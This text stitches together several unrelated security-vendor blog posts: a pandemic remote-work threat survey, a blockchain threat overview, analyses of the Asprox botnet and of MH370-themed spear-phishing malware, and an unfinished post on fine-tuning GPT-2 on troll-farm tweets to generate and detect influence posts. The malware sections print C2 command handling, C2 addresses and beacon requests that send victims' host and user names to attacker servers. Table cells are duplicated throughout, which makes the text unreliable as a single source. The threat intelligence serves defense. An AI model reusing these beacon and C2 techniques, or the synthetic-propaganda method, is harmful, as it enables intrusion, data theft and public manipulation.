The massive shift online has only exacerbated cybersecurity concerns.
Cybersecurity threats in the home office The main change in the work process has probably been the forced transition to working from home.
Our global survey of April 2020 found that nearly half of the 6,000 respondents had never worked from home before.
Despite that, in 73% of cases, employers didn’t conduct any special training on safe interaction with corporate resources over the Internet, which could have reduced the number of incidents caused by the human factor.
Corporate IT’s decreased control over devices, software, and user actions led to increased risk.
Home equipment Many companies didn’t provide their employees with corporate equipment.
Instead, they allowed staff to work and connect to the office IT infrastructure from home devices, which in many cases are poorly protected.
According to our survey, 68% of respondents worked at home using their personal computers.
In the fall, we conducted another study and found even more people in this position.
About 80% of people surveyed used their home computers for work, even though more than half (51%) of respondents were provided with the necessary equipment by their employers.
Remote workers also used their personal devices for entertainment, playing online games (31%) and watching movies (34%).
However, many also used company laptops and smartphones for unintended purposes.
For example, 18% of respondents used them to view adult content.
Cybercriminals have actively exploited the increased interest in online entertainment by trying to lure users to fake sites and persuade them to download malware disguised as a movie or an installation file.
A total of 61% of users surveyed in the fall admitted that they downloaded software from torrent sites, 65% used such sites for music and 66% for movies.
Our telemetry data identified the most popular targets in spring 2020 as Minecraft and the television show Stranger Things .
Unsecured channels for remote work In the office, IT administrators take care of securing the Internet channel.
But when employees work from home, they set up their own routers and networks, a practice that increases security risks.
As such, from March to April 2020, the number of attacks on unsecured RDP ports — the most popular remote connection protocol on computers running Windows — increased tenfold in Russia and by seven times in the United States .
Vulnerabilities in collaboration tools In the office, workers could edit documents and attend meetings in person.
In the world of remote work, the demand for videoconferencing software and collaboration tools has increased dramatically.
The growth in demand has attracted interest from cybercriminals.
Security gaps were also discovered in legitimate videoconferencing software.
For example, a year ago, a vulnerability was detected and eliminated in the Microsoft Teams corporate messaging service that had allowed an attacker to gain access to all accounts in an organization.
Around the same time, the developers of Zoom for macOS fixed bugs that allowed outsiders to take control of a user’s device.
Employees have often used personal accounts on free services such as Google Docs to collaborate on documents and exchange files.
These services generally lack the centralized rights management that would enable them to protect confidential data.
Healthcare in attackers’ sights During the pandemic, with the healthcare sector weighed down by a colossal burden, cybercriminals tried to attack its agencies, hospitals, and even doctors directly.
In March 2020, for example, the servers of the US Department of Health and Human Services (HHS) experienced a massive DDoS attack .
In the same month, a cyberattack affected databases belonging to the University Hospital in Brno, one of the largest centers for COVID-19 blood testing in the Czech Republic.
As a result, doctors couldn’t process coronavirus tests and even canceled a number of surgical operations.
Advanced cybercriminals have targeted organizations combatting COVID-19.
There is evidence that in September 2020 members of the Lazarus Group attacked a pharmaceutical company that was developing a coronavirus vaccine; a month later, they switched to a related health ministry.
Both medical organizations and individual employees became targets.
In the UK, scammers tricked health workers out of e-mail logins and passwords by offering to register them for a nonexistent seminar on “the deadly COVID-19 virus.”
The healthcare system’s work was also hindered by people who should presumably have understood the threat: employees of healthcare companies.
For example, in the spring of last year, a man dismissed from his position as vice president of the American company Stradis Healthcare disrupted the supply of personal protective equipment for doctors for several months as revenge for his dismissal.
According to information from the FBI , he kept a secret account through which he sabotaged his former colleagues’ work.
It was reported in January 2021 that he had been sentenced to a year in prison.
COVID-themed phishing While governments around the world have been battling COVID-19 and developing measures to support businesses and citizens, cybercriminals have tried to capitalize on fear of the virus and people’s need for help.
According to our survey, a quarter of users received malicious e-mails about COVID-19-related topics.
Fake correspondence from clients and government departments For example, scammers sent fake e-mails pretending to be from the US Centers for Disease Control and Prevention (CDC) .
Victims were asked to fill out a summary of recent cases of coronavirus among their neighbors, which involved clicking a link and entering their e-mail login and password.
Their account details ended up in the hands of criminals.
During the wave of lockdowns, the number of e-mails masquerading as customer requests for product shipments grew.
To give them credibility, attackers complained about “logistics problems due to COVID-19” or demanded expedited delivery, citing problems with Chinese counterparties.
These messages usually included an attachment containing a Trojan or backdoor that would give the criminals remote control over the infected machine.
Fake COVID-19 payments According to our data, scammers sent five times as many malicious e-mails about welfare benefits in 2020 as they had in the previous year.
The messages again purported to come from government departments, the International Monetary Fund, and even the World Health Organization .
The classic scheme was presented in a new way: Promise the victim compensation and ask for a small commission to transfer the funds.
Cybercriminals also took advantage of the very real news that Facebook was giving grants to small businesses.
They cited the story and announced that payments were due to all users of the popular social media platform.
Victims were asked to apply by providing their account username and password, address, Social Security number, and a photo of an ID document.
This package fetches a handsome price on the black market.
How to protect yourself Cybercriminals didn’t invent any fundamentally new attack schemes during this pandemic year, but they did actively exploit the COVID-19 theme.
And, since work moved online for many people, the number of online attacks has naturally increased.
To avoid becoming a victim, we recommend reading our selection of articles on how to protect yourself when working from home .
And, finally, a few universal tips: Don’t click links from strangers or download files from e-mails if you’re not sure you can trust the sender; Use corporate devices and company-approved software for work, and configure programs and devices properly; Ask your employer to install reliable protection on company devices, and strengthen your own personal computer and smartphone security .
By Charles McFarland on Jun 13, 2018 On May 19 researchers discovered a series of vulnerabilities in the blockchain-based EOS platform that can lead to remote control over participating nodes.
Just four days prior, a mining pool server for the IOT platform HDAC was compromised, impacting the vast majority of miners.
In January the largest-ever theft of cryptocurrencies occurred against the exchange Coincheck, resulting in the loss of US$532 million in NEM coin.
Due to its increased popularity and profitability cybercriminals have been targeting all things blockchain.
McAfee Advanced Threat Research team analysts have now published the McAfee Blockchain Threat Report to explain current threats against the users and implementers of blockchain technologies.
What is Blockchain?
Even if you have not heard of blockchain, you have likely heard of cryptocurrencies, namely Bitcoin, the most popular implementation.
In late 2017 Bitcoin reached a value of $20,000 per coin, prompting a lot of interest in the currency—including from cybercriminals.
Cryptocurrencies are built on top of blockchain, which records transactions in a decentralized way and enables a trusted “ledger” between trustless participants.
Each block in the ledger is linked to the next block, creating a chain.
Hence, the system is called a blockchain.
The chain enables anyone to validate all transactions without going to an outside source.
From this, decentralized currencies such as Bitcoin are possible.
Proof-of-work blockchain.
Source: https://bitcoin.org/bitcoin.pdf .
Blockchain Attacks Attackers have adopted many methods targeting consumers and businesses.
The primary attack vectors include phishing, malware, implementation vulnerabilities, and technology.
In a phishing scheme in January, Iota cryptocurrency lost $4 million to scams that lasted several months.
Malware authors often change their focus.
In late 2017 to early 2018 some have migrated from deploying ransomware to cryptomining.
They have been found using open-source code such as XMRig for system-based mining and the mining service Coinhive .
Source: McAfee Labs Implementation vulnerabilities are the flaws introduced when new technologies and tools are built on top of blockchain.
The recent EOS attack is one example.
In mid-July 2017 Iota suffered an attack that essentially enabled attackers to steal from any wallet.
Another currency, Verge, was found with numerous vulnerabilities .
Attackers exploiting the vulnerabilities were able to generate coins without spending any mining power.
Known attacks against the core blockchain technology are much more difficult to implement, although they are not unheard of.
The most widely known attack is the 51% attack, or majority attack, which enables attackers to create their own chains at will.
The group 51 Crew targeted small coins, including Krypton, and held them for ransom.
Another attack, known as a Sybil attack, can allow an attacker to completely control a targeted victim’s ledger.
Attempts have been made for larger scale Sybil attacks such as one in 2016 .
Dictionary Attacks Blockchain may be a relatively new technology but that does not mean that old attacks cannot work.
Mostly due to insecure user behavior, dictionary attacks can leverage some implementations of blockchain.
Brain wallets, or wallets based on weak passwords, are insecure, yet people still use them.
These wallets are routinely stolen, as was the case with the nearly BTC60 stolen from the following wallet:
This wallet recorded two transactions as recently as March 5, 2018.
One incoming and one outgoing transaction occurred within roughly 15 minutes.
Source: https://blockchain.info .
Exchanges Under Attack The biggest players, and targets, in blockchain are cryptocurrency exchanges.
Cryptocurrency exchanges can be thought of as banks in which you users create accounts, manage finances, and even trade currencies including traditional ones.
One of the most notable incidents is the attack against Mt.
Gox between 2011‒2014 that resulted in $450 million of Bitcoin stolen and led to the liquidation and closure of the company.
Coincheck, previously mentioned, survived the attack and began reimbursing victims for their losses in March 2018.
Not all recent exchanges fared so well.
Bitcurex abruptly closed and led to an official investigation into the circumstances; Youbit suffered two attacks, leading the company into bankruptcy .
An advertisement for the shuttered Polish exchange Bitcurex.
Conclusion Blockchain technologies and its users are heavily targeted by profit-driven cybercriminals.
Current attackers are changing their tactics and new groups are entering the space.
As more businesses look to blockchain to solve their business problems and consumers increasingly rely on these technologies, we must be diligent in understanding where the threats lie to achieve proper and tailored risk management.
New implementations must place security at the forefront.
Cybercriminals have already enjoyed successes against the users and implementations of blockchain so we must prepare accordingly.
Executive Summary FireEye Labs has been tracking a recent spike in malicious email detections that we attribute to a campaign that began in 2013.
While malicious email campaigns are nothing new, this one is significant in that we are observing mass-targeting attackers adopting the malware evasion methods pioneered by the stealthier APT attackers.
And this is certainly a high-volume business, with anywhere from a few hundred to ten thousand malicious emails sent daily – usually distributing between 50 and 500,000 emails per outbreak.
Through the FireEye Dynamic Threat Intelligence (DTI) cloud , FireEye Labs discovered that each and every major spike in email blasts brought a change in the attributes of their attack.
These changes have made it difficult for anti-virus, IPS, firewalls and file-based sandboxes to keep up with the malware and effectively protect endpoints from infection.
Worse, if past is prologue, we can expect other malicious, mass-targeting email operators to adopt this approach to bypass traditional defenses.
This blog will cover the trends of the campaign, as well as provide a short technical analysis of the payload.
Campaign Details Figure 1: Attack Architecture
The campaign first appeared in late December of 2013 and has since been seen in fairly cyclical patterns each month.
It appears that the threat actors behind this campaign are fairly responsive to published blogs and reports surrounding their malware techniques, tweaking their malware accordingly to continuously try and evade detection with success.
In late 2013, malware labeled as Kuluoz, the specific spam component of the Asprox botnet, was discovered to be the main payload of what would become the first malicious email campaign.
Since then, the threat actors have continuously tweaked the malware by changing its hardcoded strings, remote access commands, and encryption keys.
Previously, Asprox malicious email campaigns targeted various industries in multiple countries and included a URL link in the body.
The current version of Asprox includes a simple zipped email attachment that contains the malicious payload “exe.”
Figure 2 below represents a sample message while Figure 3 is an example of the various court-related email headers used in the campaign.
Figure 2 Email Sample Figure 3 Email Headers Some of the recurring campaign that Asporox used includes themes focused around airline tickets, postal services and license keys.
In recent months however, the court notice and court request-themed emails appear to be the most successful phishing scheme theme for the campaign.
The following list contains examples of email subject variations, specifically for the court notice theme: Urgent court notice Notice to Appear in Court Notice of appearance in court Warrant to appear Pretrial notice Court hearing notice Hearing of your case Mandatory court appearance The campaign appeared to increase in volume during the month of May.
Figure 4 shows the increase in activity of Asprox compared to other crimewares towards the end of May specifically.
Figure 5 highlights the regular monthly pattern of overall malicious emails.
In comparison, Figure 6 is a compilation of all the hits from our analytics.
Figure 4 Worldwide Crimeware Activity Figure 5
Overall Asprox Botnet tracking Figure 6 Asprox Botnet Activity Unique Samples These malicious email campaign spikes revealed that FireEye appliances, with the support of DTI cloud, were able to provide a full picture of the campaign (blue), while only a fraction of the emailed malware samples could be detected by various Anti-Virus vendors (yellow).
Figure 7 FireEye Detection vs. Anti-Virus Detection By the end of May, we observed a big spike on the unique binaries associated with this malicious activity.
Compared to the previous days where malware authors used just 10-40 unique MD5s or less per day, we saw about 6400 unique MD5s sent out on May 29 th .
That is a 16,000% increase in unique MD5s over the usual malicious email campaign we’d observed.
Compared to other recent email campaigns, Asprox uses a volume of unique samples for its campaign.
Figure 8 Asprox Campaign Unique Sample Tracking Figure 9 Geographical Distribution of the Campaign Figure 10 Distribution of Industries Affected Brief Technical Analysis Figure 11 Attack Architecture Infiltration
The infiltration phase consists of the victim receiving a phishing email with a zipped attachment containing the malware payload disguised as an Office document.
Figure 11 is an example of one of the more recent phishing attempts.
Figure 12 Malware Payload Icon Evasion
Once the victim executes the malicious payload, it begins to start an svchost.exe process and then injects its code into the newly created process.
Once loaded into memory, the injected code is then unpacked as a DLL.
Notice that Asprox uses a hardcoded mutex that can be found in its strings.
Typical Mutex Generation \"2GVWNQJz1\" Create svchost.exe process Code injection into svchost.exe Entrenchment Once the dll is running in memory it then creates a copy of itself in the following location: %
LOCALAPPDATA%/[8 CHARACTERS].EXE Example filename: %
LOCALAPPDATA%\\lwftkkea.exe
It’s important to note that the process will first check itself in the startup registry key, so a compromised endpoint will have the following registry populated with the executable: HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
Exfiltration/Communication
The malware uses various encryption techniques to communicate with the command and control (C2) nodes.
The communication uses an RSA (i.e.
PROV_RSA_FULL) encrypted SSL session using the Microsoft Base Cryptographic Provider while the payloads themselves are RC4 encrypted.
Each sample uses a default hardcoded public key shown below.
Default Public Key -----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDCUAUdLJ1rmxx+bAndp+Cz6+5I' Kmgap2hn2df/UiVglAvvg2US9qbk65ixqw3dGN/9O9B30q5RD+xtZ6gl4ChBquqw jwxzGTVqJeexn5RHjtFR9lmJMYIwzoc/kMG8e6C/GaS2FCgY8oBpcESVyT2woV7U 00SNFZ88nyVv33z9+wIDAQAB -----END
PUBLIC KEY-----
First Communication Packet Bot ID RC4 Encrypted URL POST /5DBA62A2529A51B506D197253469FA745E7634B4FC
HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded User-Agent: <host useragent> Host: <host ip>:443 Content-Length: 319 Cache-Control: no-cache <knock><id>5DBA62A247BC1F72B98B545736DEA65A</id><group>0206s</group><src>3</src><transport>0</transport><time>1881051166</time><version>1537</version><status>0</status><debug>none<debug></knock>
C2 Commands
In comparison to the campaign at the end of 2013, the current campaign uses one of the newer versions of the Asprox family where threat actors added the command “ear.”
if ( wcsicmp(Str1, L\"idl\") ) { if ( wcsicmp(Str1, L\"run\") ) { if ( wcsicmp(Str1, L\"rem\") ) { if ( wcsicmp(Str1, L\"ear\") { if ( wcsicmp(Str1, L\"rdl\") ) { if ( wcsicmp(Str1, L\"red\") ) { if ( !
wcsicmp(Str1, L\"upd\") )
C2 commands Description idl idl This commands idles the process to wait for commands This commands idles the process to wait for commands run run Download from a partner site and execute from a specified path Download from a partner site and execute from a specified path rem rem Remove itself Remove itself ear ear Download another executable and create autorun entry Download another executable and create autorun entry rdl rdl Download, inject into svchost, and run Download, inject into svchost, and run upd upd Download and update Download and update red red Modify the registry Modify the registry C2 Campaign Characteristics For the two major malicious email campaign spikes in April and May of 2014, separate sets of C2 nodes were used for each major spike.
April May-June 94.23.24.58 94.23.24.58 192.69.192.178 192.69.192.178 94.23.43.184 94.23.43.184
213.21.158.141 213.21.158.141 1.234.53.27 1.234.53.27 213.251.150.3 213.251.150.3 84.124.94.52 84.124.94.52 27.54.87.235 27.54.87.235 133.242.134.76 133.242.134.76 61.19.32.24
61.19.32.24 173.45.78.226 173.45.78.226 69.64.56.232 69.64.56.232 37.59.9.98 37.59.9.98 72.167.15.89 72.167.15.89 188.93.74.192 188.93.74.192 84.234.71.214 84.234.71.214 187.16.250.214 187.16.250.214 89.22.96.113 89.22.96.113
85.214.220.78 85.214.220.78 89.232.63.147 89.232.63.147 91.121.20.71 91.121.20.71 91.212.253.253 91.212.253.253 91.228.77.15 91.228.77.15 Conclusion The data reveals that each of the Asprox botnet’s malicious email campaigns changes its method of luring victims and C2 domains, as well as the technical details on monthly intervals.
And, with each new improvement, it becomes more difficult for traditional security methods to detect certain types of malware.
Acknowledgements : Nart Villeneuve, Jessa dela Torre, and David Sancho.
Asprox Reborn.
Trend Micro.
2013.
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-asprox-reborn.pdf Subscribe to Blogs Get email updates as new blog posts are added.
While many advanced persistent threat (APT) groups have increasingly embraced strategic Web compromise as a malware delivery vector, groups also continue to rely on spear-phishing emails that leverage popular news stories.
The recent tragic disappearance of flight MH 370 is no exception.
This post will examine multiple instances from different threat groups, all using spear-phishing messages and leveraging the disappearance of Flight 370 as a lure to convince the target to open a malicious attachment.
“Admin@338” Targets an APAC Government and U.S.
Think Tank
The first spear phish from group “Admin@338” was sent to a foreign government in the Asian Pacific region on March 10, 2014 – just two days after the flight disappeared.
The threat actors sent a spear-phishing email with an attachment titled, “Malaysian Airlines MH370.doc” (MD5: 9c43a26fe4538a373b7f5921055ddeae).
Although threat actors often include some sort of “decoy content” upon successful exploitation (that is, a document representing what the recipient expected to open), in this case, the user is simply shown a blank document.
The attachment dropped a Poison Ivy variant into the path C:\\DOCUME~1\\admin\\LOCALS~1\\Temp\\kav.exe (MD5: 9dbe491b7d614251e75fb19e8b1b0d0d), which, in turn, beaconed outbound to www.verizon.proxydns[.
]com.
This Poison Ivy variant was configured with the connection password “wwwst@Admin.”
The APT group we refer to as Admin@338 has previously used Poison Ivy implants with this same password.
We document the Admin@338 group’s activities in our Poison Ivy: Assessing Damage and Extracting Intelligence paper.
Further, the domain www.verizon.proxydns[.
]com previously resolved to the following IP addresses that have also been used by the Admin@338 group: IP Address First Seen Last Seen 103.31.241.110 103.31.241.110 2013-08-27 2013-08-27 2013-08-28 2013-08-28 174.139.242.19 174.139.242.19 2013-08-28 2013-08-28 2013-08-31 2013-08-31 58.64.153.157 58.64.153.157 2013-09-03 2013-09-03 2014-03-07 2014-03-07 59.188.0.197 59.188.0.197 2014-03-07 2014-03-07 2014-03-19 2014-03-19 A second targeted attack attributed to the same Admin@338 group was sent to a prominent U.S.-based think tank on March 14, 2014.
This spear phish contained an attachment that dropped “Malaysian Airlines MH370 5m Video.exe” (MD5: b869dc959daac3458b6a81bc006e5b97).
The malware sample was crafted to appear as though it was a Flash video, by binding a Flash icon to the malicious executable.
Interestingly, in this case, the malware sets its persistence in the normal “Run” registry location, but it tries to auto start the payload from the disk directory “c:\\programdata”, which doesn’t exist until Windows 7, so a simple reboot would mitigate this threat on Windows XP.
This suggests the threat actors did not perform quality control on the malware or were simply careless.
We detect this implant as Backdoor.
APT.WinHTTPHelper .
The Admin@338 group discussed above has used variants of this same malware family in previous targeted attacks .
This specific implant beacons out to dpmc.dynssl[.
]com:443 and www.dpmc.dynssl[.
]com:80.
The domain dpmc.dynssl[.
]com resolved to the following IPs:
IP Address First Seen Last Seen 31.193.133.101 31.193.133.101 2013-11-01 2013-11-01 2013-11-29 2013-11-29 58.64.153.157 58.64.153.157 2014-01-10 2014-01-10 2014-03-08 2014-03-08 59.188.0.197 59.188.0.197 2014-03-14 2014-03-14 2014-03-17 2014-03-17 139.191.142.168 139.191.142.168 2014-03-17 2014-03-17 2014-03-19 2014-03-19 The www.dpmc.dynssl[.
]com domain resolved to following IPs:
IP Address First Seen Last Seen 31.193.133.101 31.193.133.101 2013-10-30 2013-10-30 2013-11-29 2013-11-29 58.64.153.157 58.64.153.157 2014-01-10 2014-01-10 2014-03-08 2014-03-08 59.188.0.197 59.188.0.197 2014-03-14 2014-03-14 2014-03-18 2014-03-18 139.191.142.168 139.191.142.168 2014-03-17 2014-03-17 2014-03-19 2014-03-19 Note that the www.verizon.proxydns[.
]com domain used by the Poison Ivy discussed above also resolved to both 58.64.153.157 and 59.188.0.197 during the same time frame as the Backdoor.
APT.WinHTTPHelper command and control (CnC) located at dpmc.dynssl[.
]com and www.dpmc.dynssl[.
]com.
In addition to the above activity attributed to the Admin@338 group, a number of other malicious documents abusing the missing Flight 370 story were also seen in the wild.
Other threat groups likely sent these other documents.
The Naikon Lures On March 9, 2014, a malicious executable entitled the “Search for MH370 continues as report says FBI agents on way to offer assistance.pdf .exe
“ (MD5: 52408bffd295b3e69e983be9bdcdd6aa) was seen circulating in the wild.
This sample beacons to the CnC net.googlereader[.
]pw:443.
We have identified this sample, via forensic analysis, as Backdoor.
APT.Naikon.
It uses a standard technique of changing its icon to make it appear to be a PDF, in order to lend to its credibility.
This same icon, embedded as a PE Resource, has been used in the following recent samples: MD5 Import hash CnC
Server fcc59add998760b76f009b1fdfacf840 fcc59add998760b76f009b1fdfacf840 e30e07abf1633e10c2d1fbf34e9333d6 e30e07abf1633e10c2d1fbf34e9333d6 ecoh.oicp[.
]net ecoh.oicp[.
]net 018f762da9b51d7557062548d2b91eeb 018f762da9b51d7557062548d2b91eeb e30e07abf1633e10c2d1fbf34e9333d6 e30e07abf1633e10c2d1fbf34e9333d6 orayjue.eicp[.
]net orayjue.eicp[.
]net
fcc59add998760b76f009b1fdfacf840 fcc59add998760b76f009b1fdfacf840 e30e07abf1633e10c2d1fbf34e9333d6 e30e07abf1633e10c2d1fbf34e9333d6 ecoh.oicp[.
]net:443 ecoh.oicp[.
]net:443 498aaf6df71211f9fcb8f182a71fc1f0 498aaf6df71211f9fcb8f182a71fc1f0 a692dca39e952b61501a278ebafab97f a692dca39e952b61501a278ebafab97f
xl.findmy[.
]pw xl.findmy[.
]pw a093440e75ff4fef256f5a9c1106069a a093440e75ff4fef256f5a9c1106069a a692dca39e952b61501a278ebafab97f a692dca39e952b61501a278ebafab97f xl.findmy[.
]pw xl.findmy[.
]pw 125dbbb742399ec2c39957920867ee60 125dbbb742399ec2c39957920867ee60 a692dca39e952b61501a278ebafab97f a692dca39e952b61501a278ebafab97f
uu.yahoomail[.
]pw uu.yahoomail[.
]pw 52408bffd295b3e69e983be9bdcdd6aa 52408bffd295b3e69e983be9bdcdd6aa a692dca39e952b61501a278ebafab97f a692dca39e952b61501a278ebafab97f net.googlereader[.
]pw net.googlereader[.
]pw This malware leverages “pdfbind” to add a PDF into itself, as can be seen in the debugging strings, and when launched, the malware also presents a decoy document to the target:
The Plat1 Lures On March 10, 2014, we observed another sample that exploited CVE-2012-0158, titled “MH370班机可以人员身份信息.doc” (MD5: 4ff2156c74e0a36d16fa4aea29f38ff8), which roughly translates to “MH370 Flight Personnel Identity Information”.
The malware that is dropped by the malicious Word document, which we detect as Trojan.
APT.Plat1, begins to beacon to 59.188.253.216 via TCP over port 80.
The decoy document opened after exploitation is blank.
The malicious document dropped the following implants: C:\\Documents and Settings\\Administrator\\Application Data\\Intel\\ResN32.dll (MD5: 2437f6c333cf61db53b596d192cafe64) C:\\Documents and Settings\\Administrator\\Application Data\\Intel\\~y.dll (MD5: d8540b23e52892c6009fdd5812e9c597)
The implants dropped by this malicious document both included unique PDB paths that can be used to find related samples.
These paths were as follows:
E:\\Work\\T5000\\T5 Install\\ResN\\Release\\ResN32.pdb F:\\WORK\\PROJECT\\T5 Install\\InstDll\\Release\\InstDll.pdb This malware family was also described in more detail here .
The Mongall/Saker Lures Another sample leveraging the missing airliner theme was seen on March 12, 2014.
The malicious document exploited CVE-2012-0158 and was titled, “Missing Malaysia Airlines Flight 370.doc” (MD5: 467478fa0670fa8576b21d860c1523c6).
Although the extension looked like a Microsoft Office .DOC file, it was actually an .HTML Application (HTA) file.
Once the exploit is successful, the payload makes itself persistent by adding a Windows shortcut (.LNK) file pointing to the malware in the “Startup” folder in the start menu.
It beacons outbound to comer4s.minidns[.
]net:8070.
The network callback pattern, shown below, is known by researchers as “Mongall” or “Saker”: GET /3010FC080[REDACTED]
HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Wis NT 5.0; .NET
CLR 1.1.4322) Host: comer4s.minidns.net:8070 Cache-Control: no-cache The sample also drops a decoy file called “aa.doc” into the temp folder and displays the decoy content shown below: The “Tranchulas” Lures On March 18, 2014 a sample entitled “Malysia Airline MH370 hijacked by Pakistan.zip” was sent as a ZIP file (MD5: 7dff5c4ae1b1fea7ecbf7ab787da3468) that contained a Windows screensaver file disguised as a PDF (MD5: b03edbb264aa0c980ab2974652688876).
The ZIP file was hosted on 199.91.173.43.
This IP address was previously used to host malicious files.
The screen saver file drops “winservice.exe” (MD5: 828d4a66487d25b413cb19ef8ee7c783) which begins beaconing to 199.91.173.45.
This IP address was previously used to host a file entitled “obl_leaked_report.zip” (MD5: a4c7c79308139a7ee70aacf68bba814f).
The initial beacon to the command-and-control server is as follows:
POST /path_active.php?compname=[HOSTNAME]_[USERNAME]
HTTP/1.1 Host: 199.91.173.45 Accept: */* Content-Length: 11 Content-Type: application/x-www-form-urlencoded This same control server was used in previous activity .
The Page Campaign A final malicious document was seen abusing the missing Flight 370 story on March 18, 2014.
This document exploited CVE-2012-0158 and was entitled “MH370 PM statement 15.03.14 - FINAL.DOC” (MD5: 5e8d64185737f835318489fda46f31a6).
This document dropped a Backdoor.
APT.Page implant and connected to 122.10.89.85 on both port 80 and 443.
The initial beacon traffic over port 80 is as follows: GET /18110143/
page_32180701.html HTTP/1.1 Accept: */* Cookie: XX=0; BX=0 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Win32)
Host: 122.10.89.85 Connection: Keep-Alive Cache-Control: no-cache Pragma: no-cache Conclusion While many APT actors have adopted strategic Web compromise as a delivery vector, it is apparent that spear phishing via email-based attachments or links to zip files remain popular with many threat actors, especially when paired with lures discussing current media events.
Network defenders should incorporate these facts into their user training programs and be on heightened alert for regular spear-phishing campaigns, which leverage topics dominating the news cycle.
Acknowledgement:
We thank Nart Villeneuve and Patrick Olsen for their support, research, and analysis on these findings.
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Information operations have flourished on social media in part because they can be conducted cheaply, are relatively low risk, have immediate global reach, and can exploit the type of viral amplification incentivized by platforms.
Using networks of coordinated accounts, social media-driven information operations disseminate and amplify content designed to promote specific political narratives, manipulate public opinion, foment discord, or achieve strategic ideological or geopolitical objectives.
FireEye’s recent public reporting illustrates the continually evolving use of social media as a vehicle for this activity, highlighting information operations supporting Iranian political interests such as one that leveraged a network of inauthentic news sites and social media accounts and another that impersonated real individuals and leveraged legitimate news outlets .
Identifying sophisticated activity of this nature often requires the subject matter expertise of human analysts.
After all, such content is purposefully and convincingly manufactured to imitate authentic online activity, making it difficult for casual observers to properly verify.
The actors behind such operations are not transparent about their affiliations, often undertaking concerted efforts to mask their origins through elaborate false personas and the adoption of other operational security measures.
With these operations being intentionally designed to deceive humans, can we turn towards automation to help us understand and detect this growing threat?
Can we make it easier for analysts to discover and investigate this activity despite the heterogeneity, high traffic, and sheer scale of social media?
In this blog post, we will illustrate an example of how the FireEye Data Science (FDS) team works together with FireEye’s Information Operations Analysis team to better understand and detect social media information operations using neural language models.
Highlights A new breed of deep neural networks uses an attention mechanism to home in on patterns within text, allowing us to better analyze the linguistic fingerprints and semantic stylings of information operations using modern Transformer models.
By fine-tuning an open source Transformer known as GPT-2, we can detect social media posts being leveraged in information operations despite their syntactic differences to the model’s original training data.
Transfer learning from pre-trained neural language models lowers the barrier to entry for generating high-quality synthetic text at scale, and this has implications for the future of both red and blue team operations as such models become increasingly commoditized.
Background: Using GPT-2 for Transfer Learning OpenAI’s updated Generative Pre-trained Transformer (GPT-2) is an open source deep neural network that was trained in an unsupervised manner on the causal language modeling task .
The objective of this language modeling task is to predict the next word in a sentence from previous context, meaning that a trained model ends up being capable of language generation.
If the model can predict the next word accurately, it can be used in turn to predict the following word, and then so on and so forth until eventually, the model produces fully coherent sentences and paragraphs.
Figure 1 depicts an example of language model (LM) predictions we generated using GPT-2.
To generate text, single words are successively sampled from distributions of candidate words predicted by the model until it predicts an <|endoftext|> word, which signals the end of the generation.
Figure 1:
An example GPT-2 generation prior to fine-tuning after priming the model with the phrase “It’s disgraceful that.”
The quality of this synthetically generated text along with GPT-2’s state of the art accuracy on a host of other natural language processing (NLP) benchmark tasks is due in large part to the model’s improvements over prior 1) neural network architectures and 2) approaches to representing text.
GPT-2 uses an attention mechanism to selectively focus the model on relevant pieces of text sequences and identify relationships between positionally distant words.
In terms of architectures, Transformers use attention to decrease the time required to train on enormous datasets; they also tend to model lengthy text and scale better than other competing feedforward and recurrent neural networks.
In terms of representing text, word embeddings were a popular way to initialize just the first layer of neural networks, but such shallow representations required being trained from scratch for each new NLP task and in order to deal with new vocabulary.
GPT-2 instead pre-trains all the model’s layers using hierarchical representations , which better capture language semantics and are readily transferable to other NLP tasks and new vocabulary.
This transfer learning method is advantageous because it allows us to avoid starting from scratch for each and every new NLP task.
In transfer learning, we start from a large generic model that has been pre-trained for an initial task where copious data is available.
We then leverage the model’s acquired knowledge to train it further on a different, smaller dataset so that it excels at a subsequent, related task.
This process of training the model further is referred to as fine-tuning, which involves re-learning portions of the model by adjusting its underlying parameters.
Fine-tuning not only requires less data compared to training from scratch, but typically also requires less compute time and resources.
In this blog post, we will show how to perform transfer learning from a pre-trained GPT-2 model in order to better understand and detect information operations on social media.
Transformers have shown that Attention is All You Need , but here we will also show that Attention is All They Need: while transfer learning may allow us to more easily detect information operations activity, it likewise lowers the barrier to entry for actors seeking to engage in this activity at scale.
Understanding Information Operations Activity Using Fine-Tuned Neural Generations In order to study the thematic and linguistic characteristics of a common type of social media-driven information operations activity, we first fine-tuned an LM that could perform text generation.
Since the pre-trained GPT-2 model's dataset consisted of 40+ GB of Internet text data extracted from 8+ million reputable web pages, its generations display relatively formal grammar, punctuation, and structure that corresponds to the text present within that original dataset (e.g.
Figure 1).
To make it appear like social media posts with their shorter length, informal grammar, erratic punctuation, and syntactic quirks including @mentions, #hashtags, emojis, acronyms, and abbreviations, we fine-tuned the pre-trained GPT-2 model on a new language modeling task using additional training data.
For the set of experiments presented in this blog post, this additional training data was obtained from the following open source datasets of identified accounts operated by Russia’s famed Internet Research Agency (IRA) “troll factory”: NBCNews , over 200,000 tweets posted between 2014 and 2017 tied to IRA “malicious activity.”
FiveThirtyEight , over 1.8 million tweets associated with IRA activity between 2012 and 2018; we used accounts categorized as Left Troll, Right Troll, or Fearmonger.
Twitter Elections Integrity , almost 3 million tweets that were part of the influence effort by the IRA around the 2016 U.S. presidential election.
Reddit Suspicious Accounts , consisting of comments and submissions emanating from 944 accounts of suspected IRA origin.
After combining these four datasets, we sampled English-language social media posts from them to use as input for our fine-tuned LM.
Fine-tuning experiments were carried out in PyTorch using the 355 million parameter pre-trained GPT-2 model from HuggingFace’s transformers library , and were distributed over up to 8 GPUs.
As opposed to other pre-trained LMs, GPT-2 conveniently requires minimal architectural changes and parameter updates in order to be fine-tuned on new downstream tasks .
We simply processed social media posts from the above datasets through the pre-trained model, whose activations were then fed through adjustable weights into a linear output layer.
The fine-tuning objective here was the same that GPT-2 was originally trained on (i.e.
the language modeling task of predicting the next word, see Figure 1), except now its training dataset included text from social media posts.
We also added the <|endoftext|> string as a suffix to each post to adapt the model to the shorter length of social media text, meaning posts were fed into the model according to: “#Fukushima2015 Zaporozhia NPP can explode at any time and that's awful!
OMG!
No way!
